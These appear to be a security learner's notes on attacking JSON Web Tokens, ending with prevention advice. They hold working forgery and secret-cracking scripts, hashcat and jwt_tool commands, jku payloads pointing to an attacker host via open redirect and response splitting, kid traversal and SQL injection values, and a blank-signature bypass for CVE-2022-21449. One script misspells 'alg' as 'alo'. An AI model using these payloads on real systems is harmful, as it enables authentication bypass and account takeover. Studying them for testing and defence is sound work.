Notes - JWT Attacks
go to attacks, Skip Introduction
- Sources, Credits:
What is JSON Web Tokens (JWT)
JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems. They can theoretically contain any kind of data but are most commonly used to send information (“claims”) about users as part of authentication, session handling, and access control mechanisms.
Unlike with classic session tokens, all of the data that a server needs is stored client-side within the JWT itself. This makes JWTs a popular choice for highly distributed websites where users need to interact seamlessly with multiple back-end servers.
JWT format Header.Payload.Signature
Header
- header identifies the hash algorithm used to generate the signature (base64url-encoded)
- example:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
is the encoding of{ "alg" : "HS256", "typ" : "JWT" }
Payload
The payload section contains information about the user’s identity. This section, too, is base64url encoded before being used in the token. Here’s an example of the payload section, which is the base64url-encoded string of { "username" : "admin" }
: eyAidXNlcm5hbWUiIDogImFkbWluIn0
Signature
The server that issues the token typically generates the signature by hashing the header and payload. In some cases, they also encrypt the resulting hash. Either way, this process involves a secret signing key. This mechanism provides a way for servers to verify that none of the data within the token has been tampered with since it was issued:
- As the signature is directly derived from the rest of the token, changing a single byte of the header or payload results in a mismatched signature.
- Without knowing the server’s secret signing key, it shouldn’t be possible to generate the correct signature for a given header or payload.
the signature section validates that the user hasn’t tampered with the token. It’s calculated by concatenating the header with the payload, then signing it with the algorithm specified in the header, and a secret key. Here’s what a JWT signature looks like 4Hb/6ibbViPOzq9SJflsNGPWSk6B8F6EqVrkNjpXh7M
JWT Example
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Xs1l2H7ui_yqE-GlQ2GARQ5ZpjuS8B8xQaooy89Q8y8
JWT vs. JWS vs. JWE
The JWT specification is actually very limited. It only defines a format for representing information (“claims”) as a JSON object that can be transferred between two parties. In practice, JWTs aren’t really used as a standalone entity. The JWT spec is extended by both the JSON Web Signature (JWS) and JSON Web Encryption (JWE) specifications, which define concrete ways of actually implementing JWTs.
- JWE provides Confidentiality
- JWS provides Integrity
In other words, a JWT is usually either a JWS or JWE token. When people use the term “JWT”, they almost always mean a JWS token. JWEs are very similar, except that the actual contents of the token are encrypted rather than just encoded.
What are JWT attacks
JWT attacks refer to sending altered JWTs to a server with the intent of bypassing authentication and accessing controls by impersonating an already authenticated user.
What is the impact of JWT attacks?
JWT attacks can have severe consequences, as attackers who can generate valid tokens with custom values can potentially elevate their privileges or impersonate other users, taking full control over their accounts.
How do vulnerabilities to JWT attacks arise?
JWT vulnerabilities typically arise due to flawed JWT handling within the application itself. The various specifications related to JWTs are relatively flexible by design, allowing website developers to decide on many implementation details for themselves. This can result in them accidentally introducing vulnerabilities even when using battle-hardened libraries.
These implementation flaws usually mean that the signature of the JWT is not verified properly. This enables an attacker to tamper with the values passed to the application via the token’s payload. Even if the signature is robustly verified, whether it can truly be trusted relies heavily on the server’s secret key remaining a secret. If this key is leaked in some way or can be guessed or brute-forced, an attacker can generate a valid signature for any arbitrary token, compromising the entire mechanism.
Attacks
Accepting arbitrary signatures (Does not verify the signature)
JWT libraries typically provide one method for verifying tokens and another that just decodes them. For example, the Node.js library jsonwebtoken
has verify()
and decode()
.
Occasionally, developers confuse these two methods and only pass incoming tokens to the decode()
method. This effectively means that the application doesn’t verify the signature at all.
Accepting tokens with no signature ("alg": "none"
)
JWTs can be signed using various algorithms, but can also be left unsigned. In this case, the alg
parameter is set to none
, which indicates a so-called “unsecured JWT”. Due to the obvious dangers of this, servers usually reject tokens with no signature. However, as this kind of filtering relies on string parsing, you can sometimes bypass these filters using classic obfuscation techniques, such as mixed capitalization and unexpected encodings.
Consider, for example, the following token:
eyAiYWxnIiA6ICJOb25lIiwgInR5cCIgOiAiSldUIiB9Cg
.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg
. This token is simply the base64url-encoded versions of these two blobs, with no signature present:{ "alg" : "none", "typ" : "JWT" }
.{ "user" : "admin" }
- This feature was originally used for debugging purposes, but if not turned off in a production environment, it would allow attackers to forge any token they want and impersonate anyone on the site.
Among other things, the JWT header contains an alg
parameter. This tells the server which algorithm was used to sign the token and, therefore, which algorithm it needs to use when verifying the signature.
1
2
3
4
{
"alg": "none",
"typ": "JWT"
}
This is inherently flawed because the server has no option but to implicitly trust user-controllable input from the token which, at this point, hasn’t been verified at all. In other words, an attacker can directly influence how the server checks whether the token is trustworthy.
Brute-forcing secret keys
Some signing algorithms, such as HS256 (HMAC + SHA-256), use an arbitrary, standalone string as the secret key. Just like a password, it’s crucial that this secret can’t be easily guessed or brute-forced by an attacker. Otherwise, they may be able to create JWTs with any header and payload values they like, and then use the key to re-sign the token with a valid signature.
When implementing JWT applications, developers sometimes make mistakes like forgetting to change default or placeholder secrets. They may even copy and paste code snippets they find online, then forget to change a hardcoded secret that’s provided as an example. In this case, it can be trivial for an attacker to brute-force a server’s secret using a wordlist of well-known secrets.
Download:
If an attacker is not able to brute-force the key, they might try leaking the secret key instead. If another vulnerability, like a directory traversal, external entity attack (XXE), or SSRF exists that allows the attacker to read the file where the key value is stored, the attacker can steal the key and sign arbitrary tokens of their choosing.
Using hashcat
1
hashcat -a 0 -m 16500 "$token" wordlist.txt
Using https://github.com/ticarpi/jwt_tool
1
python3 jwt_tool.py "$token" -C -d wordlist.txt
simple python script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
import hmac import base64 import hashlib from sys import argv if len(argv) != 3: print(f"Usage: python3 {argv[0]} <token> <wordlist>") exit(1) token = argv[1] header, payload, signature = token.split('.') def sign(token, key): return base64.urlsafe_b64encode(hmac.new(key.encode('utf8'), token.encode('utf8'), digestmod=hashlib.sha256).digest()).decode('utf-8').rstrip('=') def load_wordlist(file_name): with open(file_name, 'r') as f: return f.read().splitlines() if __name__ == "__main__": gusses = load_wordlist(argv[2]) for guess in gusses: if sign(header + '.' + payload, guess) == signature: print(f"Secret key is: {guess}") exit(0)
JWT header parameter injections
According to the JWS specification, only the alg
header parameter is mandatory. In practice, however, JWT headers (also known as JOSE headers) often contain several other parameters. The following ones are of particular interest to attackers.
jwk
(JSON Web Key) - Provides an embedded JSON object representing the key.jku
(JSON Web Key Set URL) - Provides a URL from which servers can fetch a set of keys containing the correct key.kid
(Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. Depending on the format of the key, this may have a matchingkid
parameter.
As you can see, these user-controllable parameters each tell the recipient server which key to use when verifying the signature. In this section, you’ll learn how to exploit these to inject modified JWTs signed using your own arbitrary key rather than the server’s secret.
Injecting self-signed JWTs via the jwk
parameter
The JSON Web Signature (JWS) specification describes an optional jwk
header parameter, which servers can use to embed their public key directly within the token itself in JWK format.
You can see an example of this in the following JWT header:
1
2
3
4
5
6
7
8
9
10
11
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
Ideally, servers should only use a limited whitelist of public keys to verify JWT signatures. However, misconfigured servers sometimes use any key that’s embedded in the jwk
parameter.
You can exploit this behavior by signing a modified JWT using your own RSA private key, and then embedding the matching public key in the jwk
header.
injecting self-signed token via x5c
header
x5c
attribute (X.509 URL) is a header point to an X.509
public key certificate that can be used to validate the signature
x5c attribute in JWK is just a certificate with the following format:
- without the first and last lines
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
- and without all the new lines
1
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
add the certificate content on a jwk
respecting the format mentioned in x5c attribute in JWK is just a certificate with the following format:, we can sign using the private key and send the token with x5u
header points to our jwk
Injecting self-signed JWTs via the jku
parameter
some servers let you use the jku
(JWK Set URL) header parameter to reference a JWK Set containing the key. When verifying the signature, the server fetches the relevant key from this URL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
"n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
},
{
"kty": "RSA",
"e": "AQAB",
"kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
"n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
}
]
}
JWK Sets like this are sometimes exposed publicly via a standard endpoint, such as /.well-known/jwks.json
.
More secure websites will only fetch keys from trusted domains, but you can sometimes take advantage of URL parsing discrepancies to bypass this kind of filtering. We covered some examples of these in our topic on SSRF.
- You can embed credentials in a URL before the hostname, using the
@
character. For example:https://expected-host:fakepassword@**evil-host
** due to the missing**/
in filtration**
- You can use the
#
character to indicate a URL fragment. For example:https://**evil-host**#expected-host
- You can leverage the DNS naming hierarchy to place required input into a fully qualified DNS name that you control. For example:
https://expected-host.**evil-host**
- Steps
- generate the key in BurpSuite
- add this key to a file in the web server in this format
- replace the
kid
in the JWT to match the generated keykid
- add
jku
with the file link
Bypass restricted jku
parameter using Open Redirect
- if the application does not accept
jku
set to other hosts, and there is an endpoint vulnerable to open redirect, we can use an Open Redirect vulnerability to get our JWK file used and bypass the restriction (since our malicious URL will start with the URL of the vulnerable application). - example:
https://vulnerable.com/redirect?uri=**/register**
is vulnerable to open redirect, we can host our jwk and use that vulnerable endpoint to redirect the server to our jwk like the following:https://vulnerable.com/redirect?uri=**http://attacker.host/.well-known/jwks.json
**- we can use directory traversal if the server checks
.well-known
:https://vulnerable.com/.well-known/jwks.json/../../redirect?uri=**http://attacker.host/.well-known/jwks.json
**
- now we can sign the token using our generated key and make the server verify it using our jwk
Bypass restricted jku
parameter using HTTP response splitting
we can use HTTP response splitting vulnerability to bypass jku
restrictions, like the following
1
http://vulnerable.com/.well-known/../debug?value=any_value%0d%0aContent-Length: **LENGTH**%0d%0a%0d%0a**RESPONSE**
- as shown above, we can add our JWK instead, like the following
we can use this vulnerable endpoint in jku
to return our JWK and the server verifies using it
1
"jku": "http://vulnerable.com/.well-known/../debug?value=1337%0d%0aContent-Length:%2043%0d%0a%0d%0a%7B%22keys%22:%5B%7B%22kty%22:%22RSA%22,%22use%22:%22sig%22,%22e%22:%22AQAB%22,%22kid%22:%22pentesterlab%22,%22n%22:%22qGkM2xNc2T1hXccAM5cTtW73hbV350hVjt0O2EF-0SA8dryPuKUcijGsMtFt8Ny5OdKAYao5QBqeA0PV_QfrlO06YUW4tRYb24IeQVKIjuYCOg92BZRTNex-wlKEUv16Daku1AN63FB_z3N_NXPpquG5n6Dtr9zaBZ7agSe1RHaPs5MTrJAiFHdz6AtpZ8MJldnbdf0PJ0NY7nvUyvut1BLKVcd5ikkCxY-bkXDHKcxHKktm7_2SGIXyU06-WxY9gsrWRpaqSnubPz8M0OfPPgrRKEEo4Z7flRh-dcoVhH94ZroGUe0rqbo7WctgSBAIloVOqx9REnB8BXjc-oMgTw%22,%22alg%22:%22RS256%22%7D%5D%7D"
Injecting self-signed JWTs via the kid
parameter
Servers may use several cryptographic keys for signing different kinds of data, not just JWTs. For this reason, the header of a JWT may contain a kid
(Key ID) parameter, which helps the server identify which key to use when verifying the signature.
Verification keys are often stored as a JWK Set. In this case, the server may simply look for the JWK with the same kid
as the token. However, the JWS specification doesn’t define a concrete structure for this ID - it’s just an arbitrary string of the developer’s choosing. For example, they might use the kid
parameter to point to a particular entry in a database, or even the name of a file.
If this parameter is also vulnerable to directory traversal, an attacker could potentially force the server to use an arbitrary file from its filesystem as the verification key.
1
2
3
4
5
6
{
"kid": "../../../../../../path/to/file",
"typ": "JWT",
"alg": "HS256",
"k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}
This is especially dangerous if the server also supports JWTs signed using a symmetric algorithm. In this case, an attacker could potentially point the kid
parameter to a predictable, static file, then sign the JWT using a secret that matches the contents of this file.
You could theoretically do this with any file, but one of the simplest methods is to use /dev/null
, signing the token with an empty string will result in a valid signature.
If the server stores its verification keys in a database, the kid
header parameter is also a potential vector for SQL injection attacks.
CVE-2017-17405
in Ruby Net::FTP
: Command injection in kid
parameter
- Ruby has to ways to open a file:
File.open
Kernel.open
oropen
Kernel.open/open
will run the filename as a command if the filename starts with a pipelike the following | echo "Command Injection" > /tmp/PoC.txt
- Since the signature is checked after the vulnerability is exploited, you don’t need to provide a valid signature in this exercise.
SQLi in kid
parameter
- Often used to retrieve a key from:
- file system
- database
- we talked about Injecting self-signed JWTs via the
kid
parameter above, let’s talk about signing JWT with a known secret using SQLi suppose the following header
1 2 3 4 5
{ "typ": "JWT", "alg": "HS256", "kid": "key1" }
if the developer uses
kid
value to get the secret from the database, usually the SQL query will be something like this:1
SELECT secret FROM jwt_secrets WHERE key = 'your-kid-value-here';
we can exploit SQL to return a known secret like the following
1
SELECT secret FROM jwt_secrets WHERE key = 'any_key_does_not_exist' UNION SELECT 'my_secret';
kid = any_key_does_not_exist' UNION SELECT 'my_secret
- Now we can sign a new tampered token and it will be verified successfully on the server.
Algorithm confusion attacks Introduction
Symmetric vs. asymmetric algorithms
JWTs can be signed using a range of different algorithms. Some of these, such as HS256 (HMAC + SHA-256) use a “symmetric” key. This means that the server uses a single key to both sign and verify the token. Clearly, this needs to be kept secret, just like a password.
Other algorithms, such as RS256 (RSA + SHA-256) use an “asymmetric” key pair. This consists of a private key, which the server uses to sign the token, and a mathematically related public key that can be used to verify the signature.
As the names suggest, the private key must be kept secret, but the public key is often shared so that anybody can verify the signature of tokens issued by the server.
- Another way attackers can exploit the alg field is by changing the type of algorithm used. The two most common types of signing algorithms used for JWTs are HMAC and RSA. HMAC requires the token to be signed with a key and then later verified with the same key. When using RSA, the token would first be created with a private key, then verified with the corresponding public key, which anyone can read. It is critical that the secret key for HMAC tokens and the private key for RSA tokens be kept a secret.
- Now let’s say that an application was originally designed to use RSA tokens. The tokens are signed with a private key A, which is kept a secret from the public. Then the tokens are verified with public key B, which is available to anyone. This is okay as long as the tokens are always treated as RSA tokens. Now if the attacker changes the alg field to HMAC, they might be able to create valid tokens by signing the forged tokens with the RSA public key, B. When the signing algorithm is switched to HMAC, the token is still verified with the RSA public key B, but this time, the token can be signed with the same public key too.
- Notice that we can’t get the private key from the public key, however, we can get the public key from the private key
How do algorithm confusion vulnerabilities arise?
Algorithm confusion vulnerabilities typically arise due to flawed implementation of JWT libraries. Although the actual verification process differs depending on the algorithm used, many libraries provide a single, algorithm-agnostic method for verifying signatures. These methods rely on the alg
parameter in the token’s header to determine the type of verification they should perform.
The following pseudo-code shows a simplified example of what the declaration for this generic verify()
method might look like in a JWT library:
1
2
3
4
5
6
7
8
function verify(token, secretOrPublicKey){
algorithm = token.getAlgHeader();
if(algorithm == "RS256"){
// Use the provided key as an RSA public key
} else if (algorithm == "HS256"){
// Use the provided key as an HMAC secret key
}
}
Problems arise when website developers who subsequently use this method assume that it will exclusively handle JWTs signed using an asymmetric algorithm like RS256. Due to this flawed assumption, they may always pass a fixed public key to the method as follows:
1
2
3
publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);
If the server receives a token signed using a symmetric algorithm like HS256, the library’s generic verify()
method will treat the public key as an HMAC secret. This means that an attacker could sign the token using HS256 and the public key, and the server will use the same public key to verify the signature.
Performing algorithm confusion attacks
1. Obtain the server’s public key
- Servers sometimes expose their public keys as JSON Web Key (JWK) objects via a standard endpoint mapped to
/jwks.json
or/.well-known/jwks.json
, for example. These may be stored in an array of JWKs calledkeys
. This is known as a JWK Set. Even if the key isn’t exposed publicly, you may be able to extract it from a pair of existing JWTs.
- you may get the public key from a JavaScript script or from a mobile application
2. Convert the public key to a suitable format
Although the server may expose its public key in JWK format, when verifying the signature of a token, it will use its own copy of the key from its local filesystem or database. This may be stored in a different format.
In order for the attack to work, the version of the key that you use to sign the JWT must be identical to the server’s local copy. In addition to being in the same format, every single byte must match, including any non-printing characters.
For the purpose of this example, let’s assume that we need the key in X.509 PEM format. You can convert a JWK to a PEM using the JWT Editor extension in Burp as follows:
- With the extension loaded, in Burp’s main tab bar, go to the JWT Editor Keys tab.
- Click New RSA Key. In the dialog, paste the JWK that you obtained earlier.
- Select the PEM radio button and copy the resulting PEM key.
- Go to the Decoder tab and Base64-encode the PEM.
- Go back to the JWT Editor Keys tab and click New Symmetric Key.
- In the dialog, click Generate to generate a new key in JWK format.
- Replace the generated value for the
k
parameter with a Base64-encoded PEM key that you just copied. - Replace the generated value for the
kid
parameter with the original tokenkid
, so the server can verify it - Save the key.
3. Modify your JWT
Once you have the public key in a suitable format, you can modify the JWT however you like. Just make sure that the alg
header is set to HS256
.
4. Sign the JWT using the public key
Sign the token using the HS256 algorithm with the RSA public key as the secret.
Tools
https://github.com/ticarpi/jwt_tool is a very powerful tool
1
python3 jwt_tool.py "token" -X k -I -pc username pv admin -pk $public_key_file
-X k
key confusion
simple script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
import hmac import base64 import hashlib from sys import argv if len(argv) != 3: print(f'Usage: {argv[0]} <Tampered JWT> <public_key_file>') exit(1) tampered_token = argv[1] with open(argv[2], 'r') as file: public_key = file.read() print('you should edit the payload to your needs, e.g. change the username') header, payload, _ = tampered_token.split('.') # decode the header dec_header = base64.urlsafe_b64decode(header + '=' * (-len(header) % 4)).decode('utf-8').replace('RS256', 'HS256') enc_header = base64.urlsafe_b64encode(bytes(dec_header, 'utf-8')).decode('utf-8').replace('=', '') signature = base64.urlsafe_b64encode(hmac.new(bytes(public_key, 'utf-8'), bytes(f'{enc_header}.{payload}', 'utf-8'), hashlib.sha256).digest()).decode('utf-8').replace('=', '') print(f'{enc_header}.{payload}.{signature}')
Another algorithm confusion example (ECDSA to HS256)
In practice, you can change the algorithm used by the application (ECDSA - ES256) to tell it to use HMAC (HS256). The application will call the method verify when you send the cookie. Since the code is written to use ECDSA, it will call verify(public_key, data). But since the algorithm is set to HMAC, it will end up calling HMAC(public_key,data). The application will verify the signature with the public key but since you are forcing the application to use HMAC, it will actually verify the signature with HMAC(public_key, data). As an attacker, you will need to recover potential public keys from a valid signature and then try them
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import base64
import hashlib
from hashlib import sha256
import hmac
import json
from ecdsa.ecdsa import Signature, generator_256
from ecdsa import VerifyingKey, NIST256p
from sys import argv
if len(argv) != 2:
print(f"Usage: python3 {argv[0]} <jwt token>")
exit(1)
jwt = argv[1]
header, payload, signature = jwt.split('.')
signature = base64.urlsafe_b64decode(signature)
sig = Signature(int.from_bytes(signature[0:32], 'big'), int.from_bytes(signature[32:], 'big'))
keys = sig.recover_public_keys(int.from_bytes(sha256((header + '.' + payload).encode('utf8')).digest(), 'big'), generator_256)
header = json.loads(base64.urlsafe_b64decode(header + '==').decode('utf8'))
payload = json.loads(base64.urlsafe_b64decode(payload + '==').decode('utf8'))
header['alo'] = "HS256"
payload['login'] = "admin"
tampered_header = base64.urlsafe_b64encode(json.dumps(header).encode('utf8')).decode('utf8')
tampered_payload = base64.urlsafe_b64encode(json.dumps(payload).encode('utf8')).decode('utf8')
for key in keys:
veryfing_key = VerifyingKey.from_public_point(key.point, curve=NIST256p)
signing = str(veryfing_key.to_pem().decode('utf8'))
print(signing)
newsig = base64.urlsafe_b64encode(hmac.new(veryfing_key.to_pem(), (tampered_header+'.'+tampered_payload).encode('utf8'), digestmod=hashlib.sha256).digest()).decode('utf8')
print(tampered_header+'.'+tampered_payload+'.'+newsig)
- the script will print the possible public keys and tampered tokens, try tokens to know the valid key
CVE-2022-21449 Bypass ECDSA signature (Java 15/16/17/18)
To exploit this vulnerability, you will need to forge a signature with both r
and s
equal to 0. To do this, you will need to look at JWT libraries in your favorite language that supports Elliptic Curve and see how they encode r
and s
as part of the signature
Python script to generate a blank signature **
1
2
3
4
5
6
7
from ecdsa.ecdsa import Signature
from ecdsa.util import sigencode_der
import base64
sig = Signature(0, 0)
print(base64.urlsafe_b64encode(sigencode_der(0, 0, 1)).strip(b'=').decode('utf-8'))
signature: MAYCAQACAQA
we can use this signature to bypass signature verification
How to prevent JWT attacks
You can protect your own websites against many of the attacks we’ve covered by taking the following high-level measures:
- Use an up-to-date library for handling JWTs and make sure your developers fully understand how it works, along with any security implications. Modern libraries make it more difficult for you to inadvertently implement them insecurely, but this needs to be foolproof due to the inherent flexibility of the related specifications.
- Make sure that you perform robust signature verification on any JWTs that you receive, and account for edge cases such as JWTs signed using unexpected algorithms.
- Enforce a strict whitelist of permitted hosts for the
jku
header. - Make sure that you’re not vulnerable to path traversal or SQL injection via the
kid
header parameter.
Additional best practice for JWT handling
Although not strictly necessary to avoid introducing vulnerabilities, we recommend adhering to the following best practice when using JWTs in your applications:
- Always set an expiration date for any tokens that you issue.
- Avoid sending tokens in URL parameters where possible.
- Include the
aud
(audience) claim (or similar) to specify the intended recipient of the token. This prevents it from being used on different websites. - Enable the issuing server to revoke tokens (on logout, for example).